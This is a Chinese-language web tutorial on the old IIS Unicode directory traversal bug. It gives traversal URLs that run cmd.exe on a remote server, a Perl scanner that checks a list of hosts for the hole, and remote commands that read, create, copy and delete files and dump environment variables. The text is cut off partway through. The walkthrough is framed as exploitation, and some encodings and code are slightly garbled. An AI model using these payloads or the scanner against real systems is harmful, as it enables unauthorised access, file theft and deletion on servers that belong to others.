萬盛學電腦網

 萬盛學電腦網 >> 應用技巧 >> UNICODE漏洞的原理

UNICODE漏洞的原理

一、UNICODE漏洞的原理 
此漏洞從中文IIS4.0+SP6開始,還影響中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1, 
台灣繁體中文也同樣存在這樣的漏洞。 
中文版的WIN2000中,UNICODE編碼 存在BUG,在UNICODE 編碼中 
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ‘/‘ 
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ‘\‘ 
在NT4中/編碼為%c1%9c 
在英文版裡: 
WIN2000英文版%c0%af 
但從國外某些站點得來的資料顯示,還有以下的編碼可以實現對該漏洞的檢測,具體情況本人未做詳細的證實: 
%c1%pc 
%c0%9v 
%c0%qf 
%c1%8s 
%e0%80%af 
%f0%80%80%af 
%fc%80%80%80%80%af 
或許是什麼日文版、韓文版之類,win2000 Terminal版有興趣的朋友可以試試。 
二、UNICODE漏洞的檢測 
以下均以中文版WIN2K為例,如果是其他NT版本,按上面所述的編碼替換以下代碼中的%c1%1c 
最簡單的檢測方法: 
比如說有一IP地址為X.X.X.X的WIN2K主機,我們可以在地址欄輸入 
x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 
如果存在此漏洞的話,我們便可以看到以下的內容:(例子假設SCRIPTS目錄裡無文件) 
Directory of C:\inetpub\scripts 
2000-09-28 15:49 〈DIR〉 . 
2000-09-28 15:49 〈DIR〉 .. 

這是我們在很多經驗交談中常看到大家使用的方法,實際上我們也可以改為這樣 
127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/r+dir 
即r=c 這個字母的取代,在本文發表之前,網絡裡沒有介紹過,關於r這字母可以等效於c,我們可以通過cmd/?可以得到解釋。 

當然,如果目標主機的管理員把該目錄刪除掉,我們就無法看到了,但是還有以下的目錄是同樣可以用來測試的。 

http://x.x.x.x/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir 
運行後,我們可以看到 
Directory of c:\program files\common files\system\msadc 
2000-08-06 19:16 

2000-08-06 19:16 
.. 
(以下內容略) 
19 File(s) 1,233,840 bytes 
2 Dir(s) 6,290,644,992 bytes free 

如果漏洞和目錄同時存在的話,你就可以在WEB頁上看到相對應的目錄裡的一切內容。這僅是對單一目標主機的漏洞檢測,如果想對某一IP段上的NT主機做UNICODE漏洞的檢測,我們就需要使用類似以下的掃描軟件。 
以下的源碼是外國黑客寫的,當然就只掃描英文版的NT,要掃描中文版的,需要做相應的修改。 
#!/usr/bin/perl 
#Root Shell Hackers 
#piffy 
#this is a quick scanner i threw together while 
supposedly doing homework in my room. 
#it will go through a list of sites and check if it 
gives a directory listing for the new IIS hole 
#it checks for both %c0%af and %c1%9c 
#perhaps a public script to do some evil stuff with this 
exploit later... h0h0h0 
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy 
for researching the hole =] 
use strict; 
use LWP::UserAgent; 
use HTTP::Request; 
use HTTP::Response; 
my $def = new LWP::UserAgent; 
my @host; 
print "root shell hackers\n"; 
print "iis cmd hole scanner\n"; 
print "coded by piffy\n"; 
print "\nWhat file contains the hosts: "; 
chop (my $hosts=); 
open(IN, $hosts) ││ die "\nCould not open $hosts: $!"; 
while () 

$host[$a] = $_; 
chomp $host[$a]; 
$a++; 
$b++; 

close(IN); 
$a = 0; 
print "ph34r, scan started"; 
while ($a < $b) 

my 
$url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ 
"; 
my $request = new HTTP::Request(‘GET‘, $url); 
my $response = $def->request($request); 
if ($response->is_success) { 
print $response->content; 
open(OUT, ">>scaniis.log"); 
print OUT "\n$host[$a] : $response->content"; 
-close OUT; 
} else { 
print $response->error_as_HTML; 

&second() 


sub second() { 
my 
$url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ 
"; 
my $request = new HTTP::Request(‘GET‘, $url2); 
my $response = $def->request($request); 
if ($response->is_success) { 
print $response->content; 
open(OUT, ">>scaniis.log"); 
print OUT "\n$host[$a] : $response->content"; 
-close OUT; 
} else { 
print $response->error_as_HTML; 

$a++; 



—————————————————————————————————— 
以上的pl程序你可以在本機運行(當然需要安裝PERL),也可以在遠程的 
服務器上運行。 

三、UNICODE編碼漏洞簡單利用的命令 
一般情況下我們用 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 

看到的目錄是空的:(例如) 
Directory of C:\inetpub\scripts 
2000-09-28 15:49 〈DIR〉 . 
2000-09-28 15:49 〈DIR〉 .. 
如果我們這樣輸入的話: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ 

就可以看到該主機c:盤的目錄和文件了。 
其他的一些簡單的用法: 
1、顯示文件內容 
如果想顯示裡面的其中一個badboy.txt文本文件,我們可以這樣輸入(htm,html,asp,bat等文件都是一樣的) 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:\badboy.txt 

那麼該文件的內容就可以通過IE顯示出來。 
2、建立文件夾的命令 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\badboy 

運行後我們可以看到返回這樣的結果: 
CGI Error 
The specified CGI application misbehaved by not 
returning a complete 
set of HTTP headers. The headers it did return are: 
英文意思是 
CGI錯誤 
具體的CGI申請有誤,不能返回完整的HTTP標題,返回的標題為: 
3、刪除空的文件夾命令: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\badboy 

返回信息同上 
4、刪除文件的命令: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\badboy.txt 

返回信息同上 
5、copy文件且改名的命令: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\badboy.txt 
bad.txt 
返回信息: 
CGI Error 
The specified CGI application misbehaved by not 
returning a complete 
set of HTTP headers. The headers it did return are: 
1 file(s) copied. 
6、顯示目標主機當前的環境變量 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+set 

返回的信息: 
CGI Error 
The specified&n
copyright © 萬盛學電腦網 all rights reserved